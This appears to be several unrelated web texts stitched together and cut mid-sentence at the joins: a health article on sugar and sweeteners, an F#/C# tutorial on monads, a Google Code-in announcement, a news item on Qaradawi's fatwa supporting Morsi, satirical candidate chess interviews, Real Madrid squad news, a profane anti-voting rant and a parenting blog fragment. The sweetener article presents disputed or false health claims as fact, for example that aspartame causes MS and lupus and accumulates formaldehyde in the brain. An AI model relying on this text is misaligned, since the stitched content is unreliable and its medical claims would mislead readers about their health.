When you look at the huge increase in sugar in our diets this past century — particularly in processed foods — you see that it marches in step with the epidemic increase in metabolic diseases. According to the US Department of Agriculture, the average American is supplied with 140 pounds of caloric sweeteners per year. That’s 43 teaspoons for every man, woman and child every day! The USDA recommends an average of 10 teaspoons a day for a healthy adult (still too much for most women, in my book). The biggest sources are the corn sugar and corn syrup found in beverages like juice drinks and soda.
If we really listened to our bodies, we probably wouldn’t consume so much sugar. Our love affair with sugar has enjoyed a slow and subtle evolution — with daily nudges from the food industry. But our bodies simply aren’t equipped to handle such large amounts of sugar on a daily basis. Even in the short term, too much sugar can trigger headaches, tooth decay, and indigestion.
Over time, your body loses the ability to make enough sugar-digesting enzymes to meet the demand, and sugar sensitivity develops. Women tend to notice this more during perimenopause, when excess sugar and other simple carbohydrates trigger symptoms of hormonal imbalance.
Excess sugar consumption also upsets the balance of intestinal flora in your digestive tract and can cause symptoms of intestinal distress such as bloating, cramping, and gas. Other symptoms of sugar sensitivity are headaches, insomnia, aggression, panic attacks, irritability, mood swings, and depression. Too much sugar can deplete levels of serotonin, the neurotransmitter whose deficiency is linked to depression. What’s worse, low levels of serotonin actually trigger more sugar cravings.
New studies in accelerated aging link elevated sugar intake with a process called glycosylation: proteins in our bodies morph into AGE’s, or advanced glycosylation end-products, a kind of metabolic debris that collects in our organ, joint, and skin tissues.
Long-term sugar intolerance leads to type 2 diabetes and other complications like obesity and inflammation. Drinking more than one soda a day raises your risk of serious weight gain by 80%.
If it’s a natural food, why is sugar so hard to digest? Again, it’s the sheer quantity not the substance itself that causes concern. Studies show that our bodies actually work harder in sugar’s afterburn to restore metabolic homeostasis.
So is it any surprise that we’ve turned to artificial sweeteners for answers? For women trying to stay healthy, artificial sweeteners can seem like the best of both worlds — sugar without calories. But there simply is no free lunch. Artificial sweeteners can be just as troublesome, with one exception: sugar addiction — those of us who simply cannot stop eating sugar once we start. In this case, artificial sweeteners may help short-circuit the dependency.
Aspartame and saccharin: are they safer than Splenda?
Aside from Splenda, the most popular artificial sweeteners are aspartame (and its cousin, neotame) and saccharin. Foods with these additives are marketed to women as low-fat, low-sugar, and low-calorie.
Diet programs like Weight Watchers sell low-calorie foods that trade real nutrients for artificial ingredients, including sugar substitutes. I think it’s great to try and lose unwanted weight, but I question whether these packaged items should be marketed as healthy choices. Good nutrition needs to take more into account than calories and fat content — especially when it comes to how many artificial sweeteners we’re eating and what we’re mixing them with.
Dangers in aspartame
Aspartame, the main ingredient in Equal and NutraSweet, is responsible for the most serious cases of poisoning, because the body actually digests it. Aspartame should be avoided by most women, but particularly in those with neuropsychiatric concerns. Recent studies in Europe show that aspartame use can result in an accumulation of formaldehyde in the brain, which can damage your central nervous system and immune system and cause genetic trauma. The FDA admits this is true, but claims the amount is low enough in most that it shouldn’t raise concern. I think any amount of formaldehyde in your brain is too much.
Aspartame has had the most complaints of any food additive available to the public. It’s been linked with MS, lupus, fibromyalgia and other central nervous disorders. Possible side effects of aspartame include headaches, migraines, panic attacks, dizziness, irritability, nausea, intestinal discomfort, skin rash, and nervousness. Some researchers have linked aspartame with depression and manic episodes. It may also contribute to male infertility.
Saccharin
Saccharin, the first widely available chemical sweetener, is hardly mentioned any more. Better-tasting NutraSweet took its place in almost every diet soda, but saccharin is still an ingredient in some prepared foods, gum, and over-the-counter medicines. Remember those carcinogen warnings on the side of products that contained saccharin? They no longer appear because industry testing showed that saccharin only caused bladder cancer in rats. Most researchers agree that in sufficient doses, saccharin is carcinogenic in humans. The question is, how do you know how much artificial sweeteners your individual body can tolerate?
That being said, some practitioners think saccharin in moderation is the best choice if you must have an artificially sweetened beverage or food product. It’s been around a relatively long time and seems to cause fewer problems than aspartame. I don’t argue with this recommendation, but I encourage you to find out as much as you can about any chemical before you ingest it.
Artificial sweeteners are body toxins. They are never a good idea for pregnant women, children or teenagers — despite the reduced sugar content — because of possible irreversible cell damage. If you decide it’s worth the risks, then go ahead, but pay attention to your body and your cravings. Once you start tracking your response to artificial sweeteners, it may surprise you.
Short-circuiting the insulin spike
Basically, artificial sweeteners confuse your brain. The enzymes in your mouth begin a cascade that primes your cell receptors for an insulin surge, and when it doesn’t arrive your brain feels cheated. That’s why most diet sodas are loaded with caffeine — so you’ll still feel a jolt.
But even if your brain is distracted momentarily, soon enough it wants the energy boost you promised it — and you find yourself craving carbohydrates. In one study, people who used artificial sweeteners ate up to three times the amount of calories as the control group. But again, this is individual. It all comes down to the brain’s perception of calories, which can get thrown off whenever artificial ingredients are substituted for whole food.
In my practice I’ve seen that many patients are better able to break their addiction to sugar and maintain weight loss with the help of sugar substitutes. This is probably because insulin is not involved. Also, the substitutes are hundreds of times sweeter than sugar, so you may use less of them. In certain cases, I think moderate use of artificial sweeteners is okay — as long as you feel well.
But you should know that sugar substitutes don’t have to be artificial. There is another way!
Stevia and sorbitol — natural alternatives to artificial sweeteners
Other countries and diabetics have both taught us a lot about controlling insulin naturally. For many years, diabetics |
ad builder. If you look carefully at the signature of this, you might also note that the LINQ SelectMany follows this syntax. Gee, what could that mean? The bind operation follows four steps: The monadic structure exposes the underlying value of type 'a. The given function is applied to the underlying value to obtain values of type I<'b> The monadic structure exposes the underlying value of type 'b. The monadic structure is reassembled over the results, given a single value of type I<'b>
Simply put, a monad, unlike your normal function results, stores function results and side-effect representations. This allows side effects to be propagated through the return values of functions without breaking the pure functional model. This is what makes it so powerful that it is a way to manage side effects. Given a pure language such as Haskell, this is the way that any side effecting operation should be done. Granted, there are impure ways of doing IO, but let's not go there.
There are some good sources of information on what monads are, including some great stuff from Brian Beckman:
Some examples of monads that are used frequently are such things as the maybe monad, identity monad, IO, collections and so on. Let's move onto implementing some of these monads in.NET, whether it be F# or even C#.
Implementing in.NET
To implement the above mentioned monads, we'll take examples in both F# and C# to see that both can do the job. Although I'll admit my preference for F#, C# can monads quite nicely using LINQ syntax. But that sometimes means that the from and select keywords might be confusing. But what people might not realize is that you are not limited to IEnumerable<T> inside LINQ. Instead, you could have any backing type you want. For example, I could have the identity type, maybe type, async type and so on. We'll cover each one of those in detail in the following sections.
Anyhow, let's get started with the identity monad.
The Identity Monad
The easiest monad to understand is the identity monad. This attaches no information to the underlying value, and instead only returns and transforms it.
Implementing in F#
To implement in F#, we need to remember what's required for any monad builder. That is the Bind, Return, Delay and Let functions. Let's define our builder first with the given functions.
#light
type I<'a> = 'a
let bindI i f = f i
let resultI i = i
let delayI f = f ( )
type IdentityBuilder ( ) =
member x. Bind ( i, f ) = bindI i f
member x. Return ( i ) = resultI i
member x. Delay ( f ) = delayI f
member x. Let ( i, f ) = bindI ( resultI i ) f
Now that our builder is defined, F# has a special way of representing monads in that you wrap them in curly braces with the given instance name of the monad builder. In this case, I'll call it ident.
let ident = IdentityBuilder ( )
let iValue = ident {
let! x = 5
let! y = 42
return! x + y
}
printfn "%i" iValue
The above code allows me to define x and y and add them together. The end result ends up being 47. This looks pretty simple using this syntax, although this is what it ends up being behind the scenes:
let iValue = ident. Delay ( fun ( ) ->
ident. Bind ( 5, fun x ->
ident. Bind ( 42, fun y ->
ident. Return ( x + y ) ) ) )
As you can see, the syntax is much more simplified with the syntactic sugar that they give us. This almost looks like LINQ in a way.
Implementing in C# 3.0
Now, what about C#? What can we do there? Actually, the answer is, that it's quite simple. If you notice one thing about LINQ is the signature of the SelectMany method. Let's look at the definition on the Enumerable class.
public static IEnumerable<U> SelectMany<T, U>(
this IEnumerable<T> s,
Func<T, IEnumerable<U>> f)
And if you look at the bind syntax that we used in our F# example, it's exactly the same signature. That should tell us something that LINQ expressions can indeed be monads. Now, let's implement the identity monad by first identifying the class and then the extension methods that make this work.
public class Identity<T>
{
public Identity(T value) { Value = value; }
public T Value { get ; private set ; }
}
public static class IdentityExtensions
{
public static Identity<T> ToIdentity<T>( this T value)
{
return new Identity<T>(value);
}
public static Identity<U> SelectMany<T, U>(
this Identity<T> id,
Func<T, Identity<U>> k)
{
return k(id.Value);
}
public static Identity<V> SelectMany<T, U, V>(
this Identity<T> id,
Func<T, Identity<U>> k,
Func<T, U, V> s)
{
return id.SelectMany(x => k(x).SelectMany(y => s(x, y).ToIdentity()));
}
}
When we implement things for LINQ, we must be cognizant for the need of two SelectMany methods for various performance reasons to allow us to combine values. Now that we've defined these methods, we can now use LINQ expressions to express our identity monad.
var identResult = from x in 5.ToIdentity()
from y in 42.ToIdentity()
select x + y;
Console.WriteLine(identResult.Value);
As above the answer comes out to 47. Let's move onto the maybe monad.
The Maybe Monad
The maybe monad is another popular monad type. A maybe monad is very similar to the identity, yet a value may be missing. In F# parlance, this translates to the Option<'a> type. Let's go ahead and implement this in F# using our given option type.
Implementing in F#
Implementing the maybe monad is very similar to the identity monad. The only difference being is the to differentiate between some value and no value specified. We will determine that through pattern matching, as always.
#light
type M<'a> = option<'a>
let bindM d f =
match d with
| None -> None
| Some ( v ) -> f v
let resultM v = Some ( v )
let delayM f = f ( )
type MaybeBuilder ( ) =
member x. Bind ( v, d ) = bindM v d
member x. Return ( v ) = resultM v
member x. Delay ( f ) = delayM f
member x. Let ( v, f ) = bindM ( resultM v ) f
Once defined, we can now use our MaybeBuilder to define a simple use of our maybe monad. Let's make sure we use None to denote that we are missing a value.
let maybe = MaybeBuilder ( )
let mValue = maybe {
let! x = Some ( 5 )
let! y = None
return x + y
}
let option_to_string = function
| None -> "Undefined"
| Some v -> v. ToString ( )
printfn "%s" ( mValue | > option_to_string )
The result of course is "Undefined" because our y value is the None option type. But, how might this work in C#?
Implementing in C# 3.0
We can reuse a lot of our ideas from implementing this via extension methods. I will go ahead and use the Option type that I've defined in my Functional C# project on MSDN Code Gallery. From there, we can implement our SelectMany operations.
public static class MaybeExtensions
{
public static Option<T> ToMaybe<T>( this T value)
{
return Option<T>.Some(value);
}
public static Option<U> SelectMany<T, U>(
this Option<T> m,
Func<T, Option<U>> k)
{
return!m.IsNone? Option<U>.None : k(m.Value);
}
public static Option<V> SelectMany<T, U, V>(
this Option<T> m,
Func<T, Option<U>> k,
Func<T, U, V> s)
{
return m.SelectMany(x => k(x).SelectMany(y => s(x, y).ToMaybe()));
}
}
Now that we defined our binding operations, we can move onto actually using the maybe monad. Let's use the template that we defined up above for our identity monad and craft it to use our maybes.
var maybeResult = from x in 5.ToMaybe()
from y in Option< int >.None
select x + y;
Console.WriteLine(
maybeResult.IsSome? maybeResult.Value.ToString() : "Undefined" );
Once again, our result will be undefined as our y value has no real value at all. Clear so far? Let's move onto the List Monad.
The Collection Monad
The collection monad is another important monad type. This monad is the heart and soul of LINQ and the way we use it to compute our lazily evaluated lists. This monad strikes home as one of the most important to.NET developers. Using LINQ to SQL, XML and such uses collections of various sorts to transform the data into other forms.
Implementing in F#
As before, we need to define our basic bind, let, return and delay functions in order for the monad to work in F#. Let's define the list monad to use seq<'a>. This way, I can lazily evaluate my results and yield them when I need to. For the bind and result statements, I'm using a sequence expression to yield the appropriate values.
#light
let bindL l f =
seq { for x in l do
for y in f x do
yield y }
let resultL l = seq { yield l }
let delayL f = f ( )
type SeqBuilder ( ) =
member x. Bind ( l, f ) = bindL l f
member x. Return ( l ) = resultL l
member x. Delay ( f ) = delayL f
member x. Let ( l, f ) = bindL ( resultL l ) f
Now that we've defined our monad builder, let's implement this to add the values from each collection to each other.
let seqMonad = new SeqBuilder ( )
let sValue = seqMonad {
let! x = { 1..3 }
let! y = { 4..6 }
return x + y
}
sValue | > Seq. iter ( fun x -> printfn "%i" x )
Our results will be the addition of each number in each list to each other. So, in turn, I will get 9 numbers in total with a value of 5 6 7 6 7 8 7 8 9.
Implementing in C# 3.0
To view the bind methods, simply open the Enumerable class to view the SelectMany implementations. This will get us started in looking at a C# equivalent to the list monad we did above. A simple representation might look like this.
var sValues = from x in Enumerable.Range( 1, 3 )
from y in Enumerable.Range( 4, 3 )
select x + y;
foreach ( var sValue in sValues) Console.WriteLine(sValue);
And we now realize the answers between the two are exactly the same. No special magic required for list monads.
The Asynchronous Monad
One of the most often used monads in F# is the asynchronous computation expression. This allows us to use non-blocking calls to download resources, whether it be files, web request, WCF calls and so on. This is where monads become really useful for.NET developers who want to explore a little outside the box in ways of thinking about monads.
Implementing in F#
We get the asynchronous computation expressions out of the box with F#. This allows us to easily create asynchronous computation expressions which I talked about earlier here. But, let's look at one example of downloading the HTML from various web sites in parallel with non-blocking calls. What might that look like?
#light
open System. IO
open System. Net
open Microsoft. FSharp. Control
open Microsoft. FSharp. Control. CommonExtensions
let get_html_async ( url : string ) =
async {
let request = WebRequest. Create ( url )
let! response = request. AsyncGetResponse ( )
let stream = response. GetResponseStream ( )
let reader = new StreamReader ( stream )
let! text = reader. AsyncReadToEnd ( )
return text
}
let urls = [ "http://live.com" ; "http://google.com" ; "http://codebetter.com" ]
let textResults =
Async. Run ( Async. Parallel [ for url in urls -> get_html_async url ] )
textResults | > Seq. iter ( fun textResult -> printfn "%s" textResult )
As you can see, we're creating a request, getting the response, creating a reader, and reading all the way to the end asynchronously. As you may note, there is a difference between let! and let. The let! uses the Bind method whereas the let uses the Let method of AsyncBuilder. What I'm able to do here is take three websites, and download their HTML and display within a short amount of time. Imagine if I had to write that using IAsyncResult classes and such. That wouldn't be ideal! But, can C# partake in this?
Implementing in C# 3.0
The question I asked is that can we take advantage of the F# asynchronous computation expressions in C#? The answer, surprisingly is YES! I had the opportunity to talk to F# developer, Brian McNamara, on this very subject. Back in May, he posted a quick example of using the F# libraries from C#. There is a bit of work required to do this, but it pays off handily. I'll cover the exact details in my next post of how to do it. But, in the mean time, imagine if we could download HTML from three websites simultaneously using LINQ? Here's what the code that does exactly that looks like.
Func< string, Async< string >> get_html_async = url =>
from _ in AsyncExtensions.StartWorkflow
from request in WebExtensions.AsyncCreateWebRequest(url)
from response in request.AsyncGetResponse()
let reader = new StreamReader(response.GetResponseStream())
from urlText in reader.AsyncReadToEnd()
select urlText;
var urls = new [] { "http://live.com/", "http://www.google.com/", "http://codebetter.com/" };
var urlTexts = Async.Run(
Async.Parallel( from url in urls select get_html_async(url)), Option< int >.None, Option< bool >.None);
Array.ForEach(urlTexts, Console.WriteLine);
How simple is that? Well, we have to put some backing to some of these methods in order to make them asynchronous, and I will cover exactly what that is in the next post.
Wrapping it Up
What about such things as the IO monad? Well, that's more of a language construct that is enforced by the compiler. I would like to see something similar to this in F# going forward, so that we could better manage our side effects. Using such technologies as Spec# to statically verify the behavior is important. But, once again, that's another post.
I hope I helped to alleviate some of the confusion around monads. More importantly, I hope you know more of how and when to use them. In the next post, I'll follow up with the actual implementation of the asynchronous computation expressions in C# 3.0. Giving us the ability to have parity with F# is really powerful and attests to the power of LINQ (and monads of course). Stay tuned!Google is looking for great young software developers to participate in its upcoming Google Code-in 2013 and Google Summer of Code 2014 events.
The latest editions of the Google Code-in, which is for 13- to 17-year-old students, and the Summer of Code 2014, which is for college students, were announced by Carol Smith and Stephanie Taylor of Google's open-source programs, in an Oct. 8 post on the Google Developers Blog.
"At Google we are passionate about introducing students from around the world to open source software development," wrote Smith and Taylor. "Since 2005, Google has worked with over 10,000 students and over 440 open source projects in a variety of fields to create more code for the masses."
Now new groups of student developers are being sought for the next editions of the two events, starting with the Google Code-in sign-ups on Nov. 18.
"For the fourth consecutive year we are thrilled to announce Google Code-in, an international contest designed to introduce 13-17 year old pre-university students to the world of open source development," they wrote. "Open source projects are about more than just coding, and this contest highlights a variety of ways to contribute to open source projects. Every year, open source software is becoming more important around the globe; from government, healthcare, relief efforts, gaming, to large tech companies and everything in between."
The Code-in runs for seven weeks, during which competing students will work with 10 selected open-source projects on a variety of tasks, according to Google. "These projects have all successfully served as mentoring organizations in previous Google Code-in contests or have worked with university students in our sister program, Google Summer of Code," wrote Smith and Taylor. The 10 tasks include coding, documentation and training, quality assurance, user interfaces and more.
More than 1,200 students from 71 countries have competed in the last three years, according to Google. "In April, we flew the 20 Google Code-in 2012 Grand Prize winners and a parent to Google's Mountain View, Calif., headquarters for a 5 day/4 night trip where they enjoyed talking with Google engineers, an awards ceremony, a Google campus tour, and a full day of fun in San Francisco," wrote Smith and Taylor.
Details on how to sign up to compete are available at the Google Code-in 2013 Website. On Nov. 1, Google will announce the 10 open-source organizations that will be participating in this year's competition.Egyptian Muslim scholar Sheikh Yusuf al-Qaradawi speaks in Cairo on Dec. 28, 2012. [AFP]
Influential Muslim cleric Yusuf al-Qaradawi on Saturday issued a religious decree, or fatwa, urging Egyptians to support overthrown Islamist president Mohamed Morsi who was toppled by the army on Wednesday.
“Their every action is invalid,” Qaradawi said of “those who have overthrown the president, suspended the constitution and imposed another president and constitution” on Egypt.
The Qatar-based but Egypt-born cleric published the fatwa on his Internet site.
He urged “all parties and political groups in Egypt to support correctness and restore President Morsi to his legitimate post”.
“Sharia (Islamic law) imposes on all believers allegiance to the elected president, to carry out his orders and conform to his directives.”
Morsi “must remain president, and nobody can claim the right to remove him in the name of the people”, Qaradawi added.
“I call on all Egyptians, men and women, young and old, rich and poor, Muslim and Christian, liberal and Islamist to join ranks to protect the gains of the revolution” that overthrew Hosni Mubarak in 2011.
Qaradawi, 86, is regular commentator on Al-Jazeera satellite television and has backed the Arab Spring uprisings in Tunisia, Egypt, Libya, and Syria.
[Image via Agence France-Presse]Chess.com was able to sit down with each of the four major presidential candidates last week as they turned their attention to courting the ever-important chess demographic.
Donald Trump, Hillary Clinton, Gary Johnson, and Jill Stein were all interviewed by Chess.com as they look for votes on the 64 squares.
Let us know who gets your vote in the comment section.
Donald Trump, Republican
What is your chess rating?
TRUMP: A little bit higher than yours. No, a lot higher than yours. What is yours?
How has chess influenced your strategy in life and in this election?
TRUMP: I’m a pawn guy, mostly. I mean, I’m the king, but I like the pawns. More bluntly: Me equals king, Americans equal pawns. That’s my strategy.
What is your favorite chess opening?
TRUMP: I like to build a huge pawn wall in the center and then really make my opponent pay for it. So, the four-pawn attack against most anything, especially against the Mexican defense.
What message do you want to send to American chess players and voters?
TRUMP: I know moves, I have the best moves. People are telling me, I’ve heard, that Crooked Hillary has some moves too. Not true!
Hillary Clinton, Democrat
What is your chess rating?
CLINTON: Unfortunately all of my chess records have gone missing, so I do not know and cannot be forced to answer.
How has chess influenced your strategy in life and in this election?
CLINTON: I envision myself as the queen. All powerful, but wanting to help the other pieces so that they can help me. Can you cut out that last part?
What is your favorite chess opening?
CLINTON: What’s the one where it’s unsound but you prepare a lot ahead of time with some really sneaky lines to catch the other person off guard because they aren’t expecting it, but if they actually knew what I was doing I would be in trouble? The Fried Liver Attack? Yes! That one!
What message do you want to send to American chess players and voters?
CLINTON: I believe the primary role of the government is to teach, train, and raise chess players. Parents have a secondary role.
Gary Johnson, Libertarian
What is your chess rating?
JOHNSON: High, or not high? Totally depends. Right at this moment...maybe I shouldn’t play.
How has chess influenced your strategy in life and in this election?
JOHNSON: Chess is a game between two people, person-to-person, without any governing body getting in the way trying to ruin things. Actually, wait, that isn’t true. There is FIDE…FIDE is just like the U.S. government. What is going on with all these institutions?
What is your favorite chess opening?
JOHNSON: Pretty much any exchange variation of any opening. I love the open and free exchange of pieces and ideas. Wild-West-style without much restriction. Guns too.
What message do you want to send to American chess players and voters?
JOHNSON: There should be no drug testing in chess. Or public schools. Actually, we shouldn’t have public schools at all. Freedom!!
Jill Stein, Green Party
Image by Paul Stein.
What is your chess rating?
STEIN: I do not believe in competition, so I have never actually completed a game. I just want to get to a good position and leave it for future generations to handle. Though I do play better when the dark squares are green, which is why I love Chess.com.
How has chess influenced your strategy in life and in this election?
STEIN: As a doctor, chess has helped me learn how to walk only on the same-colored squares of hospital floor tile. I’m not a bishop though -- far from it. But I just love those diagonal tiles...
What is your favorite chess opening?
STEIN: The French Defense, but where we don’t exchange pieces so we can have more pieces for the future. And if someone does a bad trade, I like to give them a piece back so we are equal. And then give them some of your money.
What message do you want to send to American chess players and voters?
STEIN: Vote for me and together we will save the environment. And forgive your student debt. And reset your tactics trainer history!
Hey, Chess.com: This was obviously meant to spoof all candidates equally. Don’t take it personally or seriously. Each candidate has a vision and message for America.
The point of this article is get out and vote for your candidate!
We know we opened a can of worms here, but please keep the comments friendly! If you want to debate politics, visit our open discussion club.Real Madrid No player suspended or injured
The match against Al Jazira will be special... and not only because it is the semifinal of the Club World Cup, because it's the first game in the entire season in which Zinedine Zidane can count on every one of his players.
Neither suspended nor injured, even Gareth Bale and Raphael Varane are already integrated into the group.
Gone are the Welshman's problems, Dani Carvajal's pericarditis issue, Mateo Kovacic's injury, the suspensions of Sergio Ramos and Cristiano Ronaldo... Zidane has everyone available, a wish finally fulfilled.
The season started with Jesus Vallejo injured, and in the second leg of the Supercopa de Espana, Luka Modric was added to the list.
In the same game, Cristiano Ronaldo was sent off and punished with a suspension of five League games: one for the red and four for pushing the referee afterwards.
Marcelo, Ramos, Carvajal and Casemiro have all been suspend at one point or another in 2017/18.
The captain was punished for the second Matchday of the league, after a red card at the Estadio Riazor.
He missed three more games because of the nasal fracture suffered in the derby.
The most notable casualties have been those of Bale, Carvajal and Kovacic.
Due to a soleus issue, the Welshman lost up to 14 games this season.
He hadn't played since September 26, against Dortmund in the Champions League, before returning against Fuenlabrada in the Copa del Rey on November 28.
The full-back, meanwhile, was separated from the group for almost two months.
Kovacic suffered a break in the right adductor in mid-September, returning at the Estadio San Mames on December 2.
In addition, Keylor, Asensio, Kroos, Varane, Marcelo and Benzema have also missed a match due to injury this season.
The result; Zidane has not been able to count on all the members of his staff during this first part of the campaign.
Until now...Don't Vote. In the U.S., the midterm elections are just around the corner. The stakes for the outcome of this election have never been higher, so it’s more important than ever that you go out and vote.
Bullshit!
The stakes are exactly the same as they’ve been for the last 100 elections. Possibly lower, if not much lower. There’s no cold war to worry about, hence minimal threat of nuclear annihilation. The threat of terrorism isn’t as big a deal as we initially thought in 2001. The war in Iraq is relatively small (2000+ casualties? We lose more people in a year to snow-blower accidents). All the big issues like slavery and civil rights are pretty much wrapped up. Want gay marriage legal? Your vote isn’t going to change the bigotry of 80% of the populace. Don’t want gay marriage? Why would you want to infect your bigotry on the public through your vote? Anyway, who gives a shit if gay people can get married? I’m not even sure they do. So if one of the “big issues” is whether some fraction of gay people get to use a certain word to describe their romantic relationship, shouldn’t you just stay home?
The answer is yes.
But for the sake of argument, I will pretend everything going on in the world is a really huge deal, and the apocalypse is imminent should the people you disagree with obtain power. Here is one of the lies the pro-vote lobby enjoys dispensing.
“I don’t care who you vote for, it’s just important that you get out there and vote!”
This is the righteous stance taken by those who love the idea of voting as a principle. Examine the cunning persuasion of it. So committed are they to the purity of democracy, they would have you vote, nay, insist you vote even if you don’t vote for the person they vote for. The self-sacrifice! It gives us the impression that voting is such a noble act that it even transcends the ultimate outcome of the election, the positions, the competence and equanimity of governance. Hitler vs. Jesus in ’08: I don’t care about the outcome, just get out there and vote! Getting as many dimwits as possible to punch ballots is the supremely desirable outcome, even if the winning candidate slaughters millions of Jews.
The statement is phenomenally disingenuous. Imagine you are about to be executed along with one other prisoner, but the firing squad only has one bullet. “I don’t care who you shoot, just shoot one of us! The integrity of the execution if far more important than the specific result!” Try to follow this idiot’s logic for a moment, without the aid of a humorous analogy.
- The “stakes” being what they are, influence must be exerted on the government to take correct action.
- Voting is the vehicle for this influence. Hence voting is important only insofar as it extends the people’s influence.
- Again, the “stakes” are very high, so the wrong choice could be disastrous. The pro-vote guy knows his, and makes his selection to avert the disaster.
- But because voting in general is so important by sheer principal, he encourages as many people to vote as possible, even if their views conflict with his.
- By doing so, he gets many people who’ve selected the “wrong” candidate to vote, inviting the exact disaster he sought to avert by voting in the first place. Oops!
So the next time someone tells you to vote, and “doesn’t care who you vote for, just vote!!!”, the correct response is “you are a very confused person who is twisted up inside, and you don’t know what the fuck you’re talking about.”
But aside from that ridiculous argument, surely there’s no harm to voting in general, right? If that’s what I want to do, and I choose to voice myself in an election, no problem, right?
Wrong. Voting is always a stupid idea. Here are some reasons why you should never vote.
Your vote doesn’t count.
I would liken the voting process to a really shitty lottery. One that’s almost impossible to win, and the prize is so underwhelming, you can’t help but feel silly for participating in it once it’s over (if you’re not an idiot). Imagine the grand prize of the Super Powerball Plus Jackpot lottery is a used toilet seat. That’s an election for you.
I explain: the odds of winning the grand prize are 1 in [some astronomical number]. The odds of your vote having any impact, given a very, very close election (already small odds) combined with your vote turning in favor of the winning candidate (worse), assuming your vote was actually counted (worse yet), you get a dreary estimate indeed.
And the “big prize”? Some dipshit politician wins! Fuck yeah! I’d rather risk gonorrhea with my new toilet seat.
Yes, we know in principle voting is effective through power in numbers. But very fortunately for me, I am not a huge mob of people. The decision to vote is a personal one, and when considering this, we do so as individuals. It’s the job of campaign managers and PR people to worry about swaying mobs, not ours. This sway is exacted by widely circulating promotional material that says things like “I don’t care who you vote for, it’s just important that you get out there and vote!” (read above)
And if that isn’t enough to sway your decision to the no-vote camp, then consider the voting process is technically fallacious, and subject to political and racial bias. I could go on at length about this by citing facts, but all you have to do is read this cartoon and you will agree with me 100%.
There’s no one to vote for.
Inherent to this or any system is the fact that there will never be any good candidates. Use whatever parameters for “good” you want, but if that result means you’re characterizing any politicians as “good candidates” then your definition is off. One problem is the candidates begin by lying to you. They lie to you by suggesting the stakes are high, which we know to be false. If on the other hand you believe the stakes really are high, then the politician has convinced you of his lie, you have become a voter, and you are an idiot.
It becomes easy to see how the voting process actually serves as a very effective screening device for the most stupid people in the nation to exert their influence. For example. If I stood in front of a crowd of thousands, and asked all the people with major brain damage to step forward, and everyone who steps forward happens to be really stupid, I have supplied a filter built into my query which ensures only stupid people will step forward. The people with brain damage in front of me do not merely happen to be stupid as well. They are stupid because of their brain damage. And voters are stupid because they vote.
How convenient that the act of voting itself is what draws out the most stupid. Convenient to the politicians who: A) first set the trap, pretending there are really high stakes that people should get upset about, thus drawing out the dumbass nectar from the electorate, and then B) capitalizes on that stupidity to sway voters to vote for them. This is the nature of electoral politics, and cannot be separated from it. You might have wondered how to define a good politician? At least I can define a bad one for you; one who seeks office through the political system.
Now, part of me resents having my position affiliated with the notion of “lesser of two evils”, the idea that all politicians are liars and thieves, which has been en vogue for centuries. Not because it isn’t true, but because the sentiment is most often brandished by morons. They are morons because they don’t really understand why this is, and even more so because most of them, while maintaining cynicism towards politics, still believe voting to be a noble practice.
But it isn’t. Voting is stupid. Speaking of which, here is possibly the best reason not to vote:
You are stupid.
It’s fair to say most people have a poor approval of politicians, and the political system as a whole. They shake their fists at the dysfunctional machinery, grumbling about its idiocy, but resting secure about themselves because at least they “did their part”. They voted.
The problem is, if you would believe a voter, voting is the vehicle by which the people reach out and influence the system. So by that logic, if the system is fucked up, then whom to blame is there but the people? The people who voted. People also seem to feel at ease with slamming the intelligence of “most” people, out of dim awareness that this bumbling majority has railroaded us into the current state of mediocrity, without cognizance that they themselves likely occupy this majority. There is a saying, that if you didn’t vote, you have no right to complain about those in power. I think it’s backwards. If you did vote, you have no right to complain about bad politicians or the broken system, because you have contributed to the conditions which give rise to the dysfunction, by voting. Similarly, if you voted, you forfeit the right to complain about the stupid masses, because your allegiance belongs to them. By voting. And by being stupid.
You are wrong.
Forget intelligence for a moment. Even if you’re pretty smart, who says you’re right? Smart people can have their perspectives muddled by all sort of things, money, personal agendas, morals, religion, idiotic theories and the like. What gives us the impression that any given person, let alone a nation, could land on the right side of an issue? What makes us think that person could see his own fist even if it was on imminent trajectory towards his own face? How many people have convictions just for the sake of having convictions? How much of conviction is tied up in ego and sense of identity? If a person’s convictions are challenged, is it received with intellectual evaluation, or as a personal attack? How often does degree by which one feels right correlates with whether he’s actually right?
I don’t want your convoluted, egotistical, ass-backwards sense of right and wrong to make its impression on the nation. And if I were you, I wouldn’t want mine to either. The difference is, I’m able to put myself in your shoes and examine what a nut-job I appear to be from your perspective. Can you do the same? Do you think someone with the typical pro-vote stance would read this, and really want me to vote? But wait, what about “I don’t care who you vote for, it’s just important that you get out there and vote!”
Yeah, why don’t you do us all a favor and sit this election out.
Voter apathy is better than the alternative.
We hear a lot about voter apathy, but we never see any concrete evidence that it’s a bad thing, or any real world examples of voter apathy gone mad and the dire consequences which ensue. I’m not a historian, so no notable examples come to mind, however I can think of many instances where the opposite has caused BIG problems. When too many people are swept up in their own bogus passions, you don’t have to look too hard to see the brewing shitstorm.
What the “voties” don’t want you to know: voter apathy is a consequence of very good things. When there are no problems, people are less inspired to enact change. U.S. voter turnout in modern history has always been staggeringly low (by what measure it is staggering, I’m not sure. It’s just really low). This is because we live in an era of relative world peace and prosperity. No cold war. World Wars a distant memory. World economy keeps booming. The low interest in voting is a very natural and reasonable expression of this, and people who see this as a grave degradation of our democracy are busybodies and airheads with no real perspective.
In fact, the people who would have you think this is a problem are the very people who seek to exploit whatever minor problems we do have to secure a petty stranglehold on whatever little power they can grab. Anything that stirs the pot is gold. Be it the wispy specter of terrorism waved around like a sheet hanging from a fishing pole, or this skirmish in Iraq (which is only a result of the same type of “hype nothing until it becomes something” politics). The only people who are predicting an imminent eruption of World |
we could make it work, we would, and committed to it.
4.) Stress Level. Some women are probably much better at juggling everything than I was. If you think that perfectionism sounds like a lame problem to have, I understand, but it really can be debilitating when you’re a mom. I don’t just feel bummed when I can’t do something to the absolute best of my ability. I feel like the world is about to end. As a working mom, I felt like I wasn’t doing my best as a wife, mom, OR at my job. Everyone was getting a fraction of me. I was doing the best that I could with the resources I had at all three, of course, but it didn’t feel that way. Unfortunately, this translated to me being majorly stressed out. I managed to kind of hide it to my daughter and (I think) at my job, but my husband got the I-have-absolutely-nothing-left-to-give dregs that were left after everything else. He still loves me (because he’s awesome), but I was pretty hard to love with that much on my plate. When I could focus on just being a wife and mom (and, for a few hours a week, teaching and writing for extra income), I became a different person. Relaxed. Flexible. Patient. Joyful. Intentional. And I can keep a (sort of, almost, if you don’t look very close) clean house. Who knew?
